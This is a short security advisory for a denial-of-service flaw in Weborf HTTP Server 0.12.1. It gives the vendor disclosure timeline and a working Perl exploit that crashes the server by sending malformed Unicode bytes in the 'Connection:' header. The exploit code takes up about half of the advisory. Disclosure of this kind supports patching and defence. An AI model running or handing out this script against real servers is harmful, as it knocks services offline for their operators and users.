Weborf HTTP Server 0.12.1 Denial Of Service

`[DCA-0012]  
  
[Software]  
- Weborf HTTP Server  
  
[Vendor Product Description]  
- Weborf is a lightweight Web server written in C. It supports IPv6  
and basic authentication. It doesn't implement the full HTTP  
specification, but can be used to easily share directories or files.  
  
[Bug Description]  
- Weborf HTTP Server can't handle unicode characters in "Connection: "  
general header-field leading to a Denial-of-Service flaw  
  
[History]  
- Advisory sent to vendor on 06/21/2010.  
- Vendor reply 06/22/2010.  
- Vendor patch published 06/23/2010  
  
  
[Impact]  
- Low  
  
[Affected Version]  
-Weborf 0.12.1  
- Prior versions may also be vulnerable.  
  
[Exploit]  
  
#!/usr/bin/perl  
use IO::Socket;  
  
if (@ARGV < 1) {  
usage();  
}  
  
$ip = $ARGV[0];  
$port = $ARGV[1];  
  
print "[+] Sending request...\n";  
  
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>  
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";  
print $socket "GET / HTTP/1.0\r\n";  
print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n";  
  
close($socket);  
  
print "[+] Done!\n";  
  
sub usage() {  
print "[-] Usage: <". $0 ."> <host> <port>\n";  
print "[-] Example: ". $0 ." 127.0.0.1 80\n";  
exit;  
}  
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